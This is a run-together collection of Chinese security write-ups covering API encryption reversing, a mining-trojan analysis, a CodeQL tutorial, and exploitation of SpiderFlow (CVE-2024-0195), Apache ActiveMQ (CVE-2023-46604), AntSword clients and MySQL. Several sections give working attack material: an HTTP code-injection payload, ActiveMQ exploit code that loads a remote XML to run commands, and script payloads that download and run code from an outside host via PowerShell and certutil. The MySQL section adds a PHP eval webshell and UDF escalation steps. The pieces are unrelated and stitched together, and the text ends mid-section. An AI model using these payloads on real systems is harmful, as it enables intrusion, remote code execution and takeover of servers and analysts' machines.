某观鸟平台逆向分析
1.抓包: 发现url:https://api.xxxxxxx.cn/front/record/activity/search 请求头三处加密,requestId、sign(疑似md5)、timestamp(时间戳) 表单数据加密: 请求返回数据加密: 2.分析: 通过抓包,发现请求头、表单、返回的数据均有加密,如果你逆向的网站比较多会发现,一般加密的地方都在一起,网站大概率会使用JSON.stringify,来将数据转换为json字符串之后再进行加密,因此可以使用hook断点 hook JSON.stringify代码: (function() {    var stringify = JSON.stringify;    JSON.stringify = function(params) {        console.log("Hook JSON.stringify ——> ", params);        debugger;        return stringify(params);   } })(); 将hook代码注入控制台,翻页断点: 找到上一个栈: 可以看出RequestId是由getUuid生成: sign由MD5(e + d + c)生成: timestamp由Date.parse(new Date())生成: 发现表单是使用RSA加密,并且用setPublicKey方法设置了要使用的公钥。然后,使用encryptUnicodeLong方法对参数e进行加密。 使用hook JSON.parse找到返回数据解密位置,和上面hook代码一样的操作: (function() {    var parse = JSON.parse;    JSON.parse = function(params) {        console.log("Hook JSON.parse ——> ", params);        debugger;        return parse(params);   } })(); 找到解密位置: 跟进后,发现解密代码由AES解密: 3.扣代码: 将js代码复制下来,平且补全代码
记一次挖矿木马样本分析
有一台vps被弱口令上马了 翻来翻去 找到个二进制文件如下 前言 搜main函数关键字可以判断是用shc加密shell脚本生成的二进制文件 在0000000000400F7E位置函数,找到了加载shell命令的位置 shc部分源码 /* shc.c */ /** * This software contains an ad hoc version of the 'Alleged RC4' algorithm, * which was anonymously posted on sci.crypt news by cypherpunks on Sep 1994. * * My implementation is a complete rewrite of the one found in * an unknown-copyright (283 characters) version picked up from: *   From: allen@gateway.grumman.com (John L. Allen) *   Newsgroups: comp.lang.c *   Subject: Shrink this C code for fame and fun *   Date: 21 May 1996 10:49:37 -0400 * And it is licensed also under GPL. * *That's where I got it, now I am going to do some work on it *It will reside here: http://github.com/neurobin/shc */ static const char my_name[] = "shc"; static const char version[] = "Version 4.0.3"; static const char subject[] = "Generic Shell Script Compiler"; static const char cpright[] = "GNU GPL Version 3"; static const struct { const char * f, * s, * e; } provider = { "Md Jahidul", "Hamid", "<jahidulhamid@yahoo.com>" }; 尝试生成一个echo “helloworld”,看看shc生成的文件是什么构造 shc 安装shc sudo add-apt-repository ppa:neurobin/ppa sudo apt-get update sudo apt-get install shc 加密后会得到一份生成的c源码和可执行文件 [04:08:08] ctfshow@ubuntu /home/ctfshow/Desktop/test (0) > shc -f ./test.sh [04:08:11] ctfshow@ubuntu /home/ctfshow/Desktop/test (0) > ls test.sh test.sh.x* test.sh.x.c [04:08:12] ctfshow@ubuntu /home/ctfshow/Desktop/test (0) > ./test.sh.x hello 会输出一个test.sh.c和编译好的test.sh.x 那么可以照着test.sh.c的源码来快速分析手上的二进制文件 调试发现ret会记录当前进程是否为父进程, 调试发现如果为父进程,则执行的命令是 exec bash ./<程序自己> 那么相当于把代码在子进程里面又跑了一遍 这个时候ret就是1了,加载的也会是text里面真正的代码段 思路 程序把shell命令用rc4加密在了硬编码里面,回到样本,只要更改ret的值然后调到execvp 然后print mem就能得到shell脚本了 patch && dump mem 修改ret值 在memcpy下断 祖传字符串脚本 base  =0x000000000602B83 end = 0x00000000006074F0 ans=[] for i in range(base,end):    tmp = idc.get_wide_byte(i)    ans.append(tmp)    if(tmp == 0):        print(bytes(ans))        ans=[] shlll = b'' with open("sh.tmp", "w") as f:    print(shlll.decode(),file=f) 暂且写个脚本存一下 shell分析 到这一步就比较明了了 shell脚本里面存的命令全是用明文显示的 首先是删除日志和竞品矿机,然后设置iptable 释放iptable_reject 然后从远程服务器下载矿机 其中一个ip是172.104.170.240 上网搜一下ip是一个矿池 搜索矿池ip发现样本行为和安天于今年5月发布的yayayaminer有一定相似之处,在初期的排查阶段借鉴了其思路。
实战:加密传输数据解密
前言 下面将分享一些实际的渗透测试经验,帮助你应对在测试中遇到的数据包内容加密的情况。我们将以实战为主,技巧为辅,进入逆向的大门。 技巧 开局先讲一下技巧,掌握好了技巧,方便逆向的时候可以更加快速的找到关键函数位置! 后续也会有更多的实战会按照技巧去操作。 关键词搜索一:在js代码没有混淆的情况下。我们可以直接进行关键词搜索,加密可以搜索encrypt,解密可以搜索decrypt。至于原因就是,无论是加密数据解密,还是明文数据进行加密,都必然会经过加密算法。 关键词搜索二:如果第一种方法搜索不到需要的信息,可以尝试搜索 JSON.parse() 方法。加密数据通常是字符串格式的,解密后也是字符串格式的。在前端中,需要使用 JSON 格式而不是字符串格式的数据,因此必须进行反序列化(即将字符串转换为 JavaScript 对象)处理。 关键词搜索三:api后端返回的是json键值对格式的,我们也可以去尝试搜索加密字符值的键去找到关键的加密位置。 正文 实战一: 在进入网址后,查看XHR请求时发现数据被加密了。尽管XHR中的数据是经过加密的,但在页面上却以明文形式呈现。因此可以初步判断,在前端渲染页面时,会对从后端传输下来的数据进行解密操作。 搜索JSON.parse时,找到了11个参数。在每一个包含JSON.parse的代码行下设置断点,然后刷新页面,断点被断在了18647行。 控制台中打印JSON.parse(v),你会发现明文数据就是v。所以这段代码是用来解密的函数。 y是解密后的参数,y是由v解析出来的,v的传参是d,d的传参是l,下断点发现l是加密字符串。Object(c.a)(l)表示对变量c.a执行函数调用,并将参数l传递给该函数。 将这段代码扣下来并且运行,报错没有没有找到Object(c.a)。 在控制台打印Object(c.a),直接进去函数内部扣代码 改写一下代码,l是传进去的加密字符串。 运行之后t报错,发现_keyStr未定义 全局搜索_keyStr发现是一个字符串,直接复制下来。 运行报错Object(c.b)未定义 将鼠标浮上Object(c.b)可以发现他是一个名字为d2的函数,进去js里面将d2函数抠出来并且替换掉函数名 改写函数名 运行报错_p未定义 全局搜索p发现这个变量很乏有太多重复的,不过初步判断是一个变量,我们可以在p后面加一个空格搜索。_p加空格只有7个,很快便找到了这个变量,发现他是一个字符串。将他扣进代码里面。 运行报错,_u_d函数未定义。 全局搜索_u_d,将其扣进代码里面 运行一下。 数据已经成功解密了。 实战二: 抓个包,数据包内容已经被加密了 从initiator进入到js文件里面 搜索解密关键词,发现第66752有个decrypt,把断点下在return那一行。 在66752下断点刷新,将返回的那段代码在控制台打印。发现是解密之后的数据,那么这一段函数肯定是解密函数 扣代码运行报错url2和text2未定义 去浏览器下断点补上两个未定义的参数,url2是一个固定的值 而text2是加密字符串。 运行之后报错cryptoJs未定义 将cryptoJs.exports在控制台上面打印出来,发现是加密库crypto,直接调库替换即可 运行报错,node.js里面的解码函数是btoa,将encode替换成btoa即可。 解密成功 结尾 部分数据代码已做脱敏处理。
SpiderFlow爬虫平台漏洞利用分析(CVE-2024-0195)
1. 漏洞介绍 SpiderFlow爬虫平台项目中 spider-flow-web\src\main\java\org\spiderflow\controller\FunctionController.java文件的FunctionService.saveFunction函数调用了saveFunction函数,该调用了自定义函数validScript,该函数中用户能够控制 functionName、parameters 或 script 中的内容,从而构造恶意输入来执行任意的 JavaScript 代码,从而导致代码注入,并允许远程发起攻击,可导致服务器失陷。 2. 流程图分析 3. 搭建过程 1. IDEA Gitee 快速搭建 URL : https://gitee.com/jmxd/spider-flow.git 2. 数据库搭建 我这里使用的是MySQL5.7,然后使用Navicat运行项目中spider-flow\db\spiderflow.sql这个SQL文件会在数据库中自动生成所需要的数据库: 3. 数据库连接 然后修改数据库配置文件application.properties,路径为:spider-flow\spider-flow-web\src\main\resources\application.properties 4. 运行 spider-flow\spider-flow-web\src\main\java\org\spiderflow\SpiderApplication.java 然后访问路径http://localhost:8088/,成功搭建! 4. 利用过程 首先我们直接在IDEA中寻找危险函数eval,使用Ctrl+shift+F文件搜索: 发现这里有个validScript函数调用了eval危险函数:    public static void validScript(String functionName,String parameters,String script) throws Exception {        new ScriptEngineManager().getEngineByName("nashorn").eval(concatScript(functionName,parameters,script));   } 然后这里的我们去看看eval具体执行的参数是怎么生成的:    private static String concatScript(String functionName,String parameters,String script){        StringBuffer scriptBuffer = new StringBuffer();        scriptBuffer.append("function ")               .append(functionName)               .append("(")               .append(parameters == null ? "" : parameters)               .append("){")               .append(script)               .append("}");        return scriptBuffer.toString();   } 可以看到concatScript 方法中,它接受三个参数 functionName、parameters 和 script,然后将它们拼接成一个 JavaScript 函数的字符串。这里它没有任何的过滤。所以我们可以尝试构造恶意的这三个参数实现RCE。 在上面的函数中将产生如下的字符串: function functionName(parameters){script} 很明显我们可以构造恶意的script来导致RCE: 例如script的值可以为}Java.type('java.lang.Runtime').getRuntime().exec('calc');{ 这样的话我们最终的字符串将会变成: function functionName(parameters){}Java.type('java.lang.Runtime').getRuntime().exec('calc');{} 然后最后在执行的时候就会直接定义一个函数后执行我们的Java恶意代码。 然后我们分析是哪个函数调用了validScript函数    public String saveFunction(Function entity) {        try {            ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());            super.saveOrUpdate(entity);            init();            return null;       } catch (Exception e) {            logger.error("保存自定义函数出错",e);            return ExceptionUtils.getStackTrace(e);       }   } 然后在FunctionController.java调用了saveFunction @RestController @RequestMapping("/function") public class FunctionController {   ...... @RequestMapping("/save")    public String save(Function function){        return functionService.saveFunction(function);   }   ...... } 然后我们现在就可以去实际的功能点看需要哪些参数: 于是我们直接写出payload: POST /function/save HTTP/1.1 Content-Length: 38 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Host: localhost:8088 id=&name=rce&parameter=rce&script=}Java.type('java.lang.Runtime').getRuntime().exec('calc');{ 成功命令执行弹出计算器: 修复方式 过滤好script参数 设置沙箱 5. 总结 这个项目在Gitee上面有7.4K的Star,有3.6K的fork记录,在实际部署上也不是很少,但是漏洞点出的不是很难主要是思路扩展,适宜入门。
Androidmanifest文件加固和对抗
前言 恶意软件为了不让我们很容易反编译一个apk,会对androidmanifest文件进行魔改加固,本文探索androidmanifest加固的常见手法以及对抗方法。这里提供一个恶意样本的androidmanifest.xml文件,我们学完之后可以动手实践。 1、Androidmanifest文件组成 这里贴一张经典图,主要描述了androidmanifest的组成 androidmanifest文件头部仅仅占了8个字节,紧跟其后的是StringPoolType字符串常量池 (为了方便我们观察分析,可以先安装一下010editor的模板,详细见2、010editor模板) Magic Number 这个值作为头部,是经常会被魔改的,需要重点关注 StylesStart 该值一般为0,也是经常会发现魔改 StringPool 寻找一个字符串,如何计算? 1、获得字符串存放开放位置:0xac(172),此时的0xac是不带开头的8个字节 所以需要我们加上8,最终字符串在文件中的开始位置是:0xb4 2、获取第一个字符串的偏移,可以看到,偏移为0 3、计算字符串最终存储的地方: 0xb4 = 0xb4 + 0 读取字符串,以字节00结束 读取到的字符为:theme 总结: stringpool是紧跟在文件头后面的一块区域,用于存储文件所有用到的字符串 这个地方呢,也是经常发生魔改加固的,比如:将StringCount修改为0xFFFFFF无穷大 在经过我们的手动计算和分析后,我们对该区域有了更深的了解。 2、010editor模板 使用010editor工具打开,安装模板库 搜索:androidmanifest.bt 安装完成且运行之后: 会发现完整的结构,帮助我们分析 3、使用AXMLPrinter2进行的排错和修复 用法十分简单: java -jar AXMLPrinter2.jar AndroidManifest_origin.xml 会有一系列的报错,但是不要慌张,根据这些报错来对原androidmanifest.xml进行修复 意思是:出乎意料的0x80003(正常读取的数据),此时却读取到:0x80000 按照小端序,正常的数据应该是: 03 00 08 使用 010editor 打开 将其修复 保存,再次尝试运行AXMLPrinter2 好家伙还有错误,这个-71304363,不方便我们分析,将其转换为python的hex数据 NegativeArraySizeException 表示在创建数组的时候,数组的大小出现了负数。 androidmanifest加固后文件与正常的androidmanifest文件对比之后就可以发现魔改的地方。 将其修改回去 运行仍然报错,是个新错误: 再次去分析: stringoffsets如此离谱,并且数组的大小变为了0xff 根据报错的信息,尝试把FF修改为24 再次运行 成功拿到反编译后的androidmanifest.xml文件 总结: 这个例子有三个魔改点经常出现在androidmanifest.xml加固 恶意软件通过修改这些魔改点来对抗反编译
CodeQL基本使用
0x01 安装codeql 去github下载一个对应版本的codeql捆绑包。 https://github.com/github/codeql-action/releases然后解压,这里我是解压到桌面 然后用添加到环境变量中 然后在任意位置输入codeql命令,如果能有以下提示就表示安装成功 然后下载vscode, 并且给vscode安装codeql扩展 0x02 创建codeql数据库 在使用 CodeQL 分析代码之前,需要创建一个 CodeQL 数据库。 创建codeql数据库命令: codeql database create <database> --language=<language-identifier> <database> 是创建数据库的路径 执行命令会自动创建一个文件夹 <language-identifier> 是选定的语言 比如java,python等 比如需要审计一个python程序,那么命令就可以如下 (注意这条命令需要在需要审计的源代码目录中使用,codeql默认是使用当前位置作为源文件目录) codeql database create pythondb --language=python # 也可以用source-root指定源码路径 比如源码文件在d:/python_code codeql database create pythondb --language=python --source-root="d:/python_code" 然后准备好一份python的源代码。我这里是随便去github搜索了一份别人写好的代码 执行完毕后可以发现多了一个文件夹,这个就是codeql创建的数据库 0x03 codeql使用 打开vscode,打开源码文件夹 切换到codeql插件然后选择刚刚codeql创建的数据库文件夹 成功之后点击queries选项里面的蓝色字体,可以快速的创建一个ql查询文件。 选择对应的语法然后回车 成功如下 0x04 ql语法简介 分析一下自动生成的脚本文件是什么意思 import python // 用于引入Python语言的元数据和查询库 比如import java就是引用java的元数据和查询库 from File f // 引入文件(File)元数据的语法 select f, "Hello, world!" // (其实这是一条语句) select和sql中的select类似查询一个具体值 select关键字 和sql的select类似,查询一个字符串的结果。 from关键字 用于定义变量,格式如 from 变量类型 变量名, 如定义字符串变量str如下 (多个变量用逗号分隔) from string str from string str1, string str2 wher关键字 用于赋值和逻辑运算,比如where str = "abcde" 就是将str变量赋值为abcde字符串 where str1 = "a" and str2 = "b" 注意以上语句需要配合使用不能单独使用,这里是和编程语言的语法有一些区别,更加贴近于sql语法 还有一些内置的类,如Function 表示一个函数类 篇幅关系,更多语法查阅官方文档:https://codeql.github.com/docs/ 0x05 实际使用 比如这里是用codeql查找sql注入,个人感觉codeql更加考验对于漏洞的理解,比起其他传统的代码审计工具,codeql显得更加灵活。 codeql其实自带了很多ql脚本,这些脚本可以帮助我们去查找漏洞最简单的方式就是使用 CodeQL CLI 捆绑包中包含的标准查询。 命令格式如下 codeql database analyze <database> --format=<format> --output=<output> //format就是指定分析过程中生成的结果文件的格式,比如csv格式等 //output就是输出的文件名 比如 然后打开生成的result.csv文件 可以看到如下结果 比如查看第一个sql注入漏洞就可以打开/utils/query.py文件 然后找到12行,函数直接excute了sql语句。且中途未经过过滤。 在vs中使用codeql可以编写语句,比如查询query函数在哪个位置 点击鼠标就可以跳转到对应源码界面 然后还可以查询query函数有哪些地方调用了。 import python   from Call call, Name name where call.getFunc() = name and name.getId() = "query" select call, call.getLocation(), "使用了query函数." 然后挑选一个函数去跟踪,发现字符串直接拼接到sql语句中。
Apache ActiveMQ 远程代码执行漏洞分析
漏洞简介 Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞(CNVD-2023-69477  CVE-2023-46604),攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。 影响版本 Apache ActiveMQ 5.18.0 before 5.18.3 Apache ActiveMQ 5.17.0 before 5.17.6 Apache ActiveMQ 5.16.0 before 5.16.7 Apache ActiveMQ before 5.15.16 Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3 Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6 Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7 Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16 ‍ 环境搭建 没有找到合适的 docker 镜像 ,尝试自己进行编写 可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile docker pull islandora/activemq:2.0.7 dfimage islandora/activemq:2.0.7 结合 https://activemq.apache.org/version-5-getting-started Dockerfile FROM ubuntu #ENV DEBIAN_FRONTEND noninteractive RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list RUN apt-get update -y RUN apt-get install wget -y RUN apt install openjdk-11-jre-headless -y COPY apache-activemq-5.18.2-bin.tar.gz / #RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz RUN chmod 755 /apache-activemq-5.18.2/bin/activemq RUN echo  '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh RUN chmod +x start.sh EXPOSE 8161 61616 CMD ["/start.sh"] ## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml docker-compose.yml version: "2.2" services: activemq:   build: .   ports:     - "8161:8161"     - "61616:61616" ./activemq start ./activemq status ./activemq console netstat -tuln | grep 8161 netstat -tuln | grep 61616 ‍ 漏洞分析 下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip 开启调试只需要修改 apache-activemq-5.18.2\bin\activemq https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3 新版本的修复位置是在 org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext 加载远程配置文件实现 SPEL 表达式注入。 寻找调用该方法的位置 org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable 继续向上寻找调用 网上大部分都选用了 ExceptionResponseMarshaller 我们也基于此进行分析 org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal 继续向上寻找调用 org.apache.activemq.openwire.OpenWireFormat#doUnmarshal 我们看到此时 dsm 的值是基于传入的 dis.readByte(); <transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/> ActiveMQ中默认的消息协议就是openwire ‍编写一个 ActiveMQ 的通信请求 public static void sendToActiveMQ() throws Exception {        /*         * 创建连接工厂,由 ActiveMQ 实现。构造方法参数         * userName 用户名         * password 密码         * brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号         */        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");        //创建连接对象        Connection connection = connectionFactory.createConnection();        //启动连接        connection.start();        /*         * 创建会话,参数含义:         * 1.transacted - 是否使用事务         * 2.acknowledgeMode - 消息确认机制,可选机制为:         * 1)Session.AUTO_ACKNOWLEDGE - 自动确认消息         * 2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制         * 3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制         */        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        //创建目的地,也就是队列名        Destination destination = session.createQueue("q_test");        //创建消息生成者,该生成者与目的地绑定        MessageProducer mProducer = session.createProducer(destination);        //创建消息        Message message = session.createTextMessage("Hello, ActiveMQ");        //发送消息        mProducer.send(message);        connection.close();   } 前面的调用栈为 doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire) unmarshal:290, OpenWireFormat (org.apache.activemq.openwire) readCommand:240, TcpTransport (org.apache.activemq.transport.tcp) doRun:232, TcpTransport (org.apache.activemq.transport.tcp) run:215, TcpTransport (org.apache.activemq.transport.tcp) run:829, Thread (java.lang) 此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller 花式触发 ExceptionResponseMarshaller 现在我们的目的就是为了去调用 ExceptionResponseMarshaller 寻找触发 ActiveMQ 中的 ExceptionResponse 函数 org.apache.activemq.ActiveMQSession#asyncSendPacket 和 函数 org.apache.activemq.ActiveMQSession#syncSendPacket 都可以发送 command 最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse); 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse); 来触发 ‍    public static void ExceptionResponseExploit() throws Exception {        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");        Connection connection = connectionFactory.createConnection("admin","admin");        connection.start();        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        ExceptionResponse expetionResponse = new ExceptionResponse();        expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));        ExploitSession.syncSendPacket(expetionResponse);        //ExploitSession.asyncSendPacket(expetionResponse);        //((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);        //((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);        connection.close();   } 由于 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。添加如下代码 package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{    public ClassPathXmlApplicationContext(String message) {        super(message);   } } 相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller   public static void ConnectionErrorExploit() throws Exception {        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");        Connection connection = connectionFactory.createConnection("admin","admin");        connection.start();        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        ConnectionError connectionError = new ConnectionError();        connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));        //ExploitSession.syncSendPacket(connectionError);        //ExploitSession.asyncSendPacket(connectionError);       ((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);        connection.close();   }    public static void MessageAckExploit() throws Exception {        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");        Connection connection = connectionFactory.createConnection("admin","admin");        connection.start();        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        MessageAck messageAck  = new MessageAck();        messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));        ExploitSession.syncSendPacket(messageAck);        //ExploitSession.asyncSendPacket(messageAck);        //((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);        connection.close();   } ‍通过数据流进行触发 ExceptionResponseMarshaller ‍主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller        String ip = "127.0.0.1";        int port = 61616;        String pocxml= "http://192.168.184.1:9090/poc.xml";        Socket sck = new Socket(ip, port);        OutputStream os = sck.getOutputStream();        DataOutputStream out = new DataOutputStream(os);        out.writeInt(0); //        out.writeByte(31); //dataType ExceptionResponseMarshaller        out.writeInt(1); //CommandId        out.writeBoolean(true); //ResponseRequired        out.writeInt(1); //CorrelationId        out.writeBoolean(true);        //use true -> red utf-8 string        out.writeBoolean(true);        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");        //use true -> red utf-8 string        out.writeBoolean(true);        out.writeUTF(pocxml);        //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce        out.close();        os.close();        sck.close(); ‍通过伪造类实现触发 ExceptionResponse ‍我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand 利用 wireFormat.unmarshal 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal org.apache.activemq.transport.tcp.TcpTransport#oneway 通过本地新建 org.apache.activemq.transport.tcp.TcpTransport 类重写对应逻辑,运行时优先触发本地的 TcpTransport 类 /**     * A one way asynchronous send     */    @Override    public void oneway(Object command) throws IOException {        checkStarted();        Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");        ExceptionResponse response = new ExceptionResponse(obj);        wireFormat.marshal(response, dataOut);        dataOut.flush();   } 将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。必须添加如下代码 package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{    public ClassPathXmlApplicationContext(String message) {        super(message);   } } ‍poc.xml <?xml version="1.0" encoding="UTF-8" ?>    <beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">            <constructor-arg >            <list>                <value>touch</value>                <value>/tmp/1.txt</value>            </list>            </constructor-arg>        </bean>    </beans> ‍漏洞复现 ‍
利用蚁剑钓鱼上线CS
前言 中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electron构建客户端软件) 关键实现 蚁剑在虚拟终端时,页面上出现http/https协议头时会发生转换(字体会变蓝,表示处于超链接的状态),并且这个链接点开时所打开的页面是以蚁剑内部的浏览器进行打开的(最新版本修复后使用用户自带的浏览器打开),因此这便是我们利用页面执行Node.js来上线CS的好机会! 反制复现 环境准备: 想要执行系统命令需要借助页面的加载,此时可以制造假的webshell来故意让红队连接,进而一步步引导红队点击恶意链接调用node.js进行命令执行,上钩。 影响的版本:AntSword < =v2.1.14 AntSword下载:https://github.com/AntSwordProject/antSword/releases 开源假webshell:https://github.com/MD-SEC/Anti_AntSword 1、蓝队故意在服务器放置假的webshell进行钓鱼 达到真实的效果可以添加一些提示信息,让红队上钩 <body> AntSword password admin </body> </html> 红队需要让其点击的恶意链接(利用蚁剑自带的帮助文档效果最佳) 在钓鱼的帮助文档的开头插入恶意payload,这里利用powershell一句话上线 <script type="text/javascript"> require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.150:8080/a\'))"',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); }); </script> 或者下载文件方式上线CS </script> <script type="text/javascript">require('child_process').exec("certutil.exe -urlcache -split -f http://192.168.108.150/artifact.exe C:/artifact.exe && C:/Windows/System32/conhost.exe C:/artifact.exe");</script> 注:payload一定要放开头,放后面可能由于html过大导致命令执行失败 可以自行编写攻击者点击钓鱼链接时的话术 2、红队开始利用蚁剑进行连接 模拟红队的文件浏览页面 模拟红队的命令行操作回显 3、开始钓鱼引诱红队 当红队输入没有提前在webshell模拟的命令时,就会回显一开始我们设置的钓鱼话术,引导攻击者点击恶意链接 红队点击恶意链接,出现正常的帮助文档 将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下 帮助文档由蚁剑内部的浏览器进行解析,该蚁剑浏览器会调用我们钓鱼页面恶意的js进行命令执行,然后上线CS 修复建议 1、升级至 AntSword v2.1.15版本 2、加载链接时候禁止使用内部浏览器打开,使用用户系统的浏览器打开 最后 此蚁剑反制虽然是一个之前曝光的漏洞了,但是基数上还是会有人在使用着存在漏洞的蚁剑版本,对于红队来说能白嫖webshell还是很诱惑的,可玩性也很高。
数据库攻防学习之MySQL
MySQL 0x01mysql学习 MySQL 是瑞典的MySQLAB公司开发的一个可用于各种流行操作系统平台的关系数据库系统,它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用,用的人数很多。 0x02环境搭建 这里演示用,phpstudy搭建的环境,然后安装phpmyadmin 0x03漏洞复现 日志文件包含getshell 利用前提 知道网站路径,mysql版本大于5.0 利用条件 需要可读可写的权限,也就是高权限账号 所用到的命令 show variables like '%general%'; 查看日志读写功能 SET GLOBAL general_log='on';开启日志读写功能 select @@basedir; 查看mysql所在的绝对路径 SHOW VARIABLES LIKE"secure_file_priv";如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。 SET GLOBALgeneral_log_file='C:/phpstudy_pro/WWW/shell.php';修改日志文件路径 修改设置,该为开启,这样才能继续利用。 再次查询,可以发现已经发生了改变 访问验证 select '<?php eval($_POST["a"]);?>'; 总结,如果SHOW VARIABLES LIKE"secure_file_priv";为NULL则没办法使用into outfile写文件,那么可以开启日志,修改日志文件路径和文件名为php,然后执行一个带有一句话的查询语句,完成getshell。 mysql udf提权 这里使用win10 +phpstudy,直接下个msyql就行了 udf提权是mysql的一种常见的提权方式。 什么是udf? udf可以理解为用户自定义函数,可以用udf增加一些函数,在mysql里就能用这个函数了。 提权前提 获取mysql的控制权限。 mysql具有写入权限,即secure_file_priv的值为空。 show global variables like'%secure%';用这个查询 提权背景 拿到了mysql权限,没拿到服务器权限,可以通过mysql提权使其达到拿到服务器的权限 提权实验 实验版本mysql 5.5 操作系统win10 需要udf文件,可以从sqlmap里获取或者msf中获取。 这里可以直接用国光师傅的写好udf16进制 https://www.sqlsec.com/tools/udf.htmlshow global variables like'%secure%'; 如果不是空的话可以这样修改,这个需要在mysql目录下的ini文件进行修改或者添加。 secure_file_priv=''然后重启服务。 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。 这里我自己在目录下创建一个,也可以用NTFSADS方法创建目录,但有可能不成功。 http://192.168.48.137/phpMyAdmin4.8.5/url.php?url=https://dev.mysql.com/doc/refman/5.5/en/show-variables.htmlhttp://192.168.48.137/phpMyAdmin4.8.5/url.php?url=https://dev.mysql.com/doc/refman/5.5/en/show-variables.htmlhttp://192.168.48.137/phpMyAdmin4.8.5/url.php?url=https://dev.mysql.com/doc/refman 查询发现已经有了,然后进行文件写入。 路径D:phpstudy_proExtensionsMySQL5.5.29libplugin 如果有Can't open shared library 'udf.dll',切换成32位试试。 实战中不成功,可以轮流尝试。 创建自定义函数并且调用命令 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; 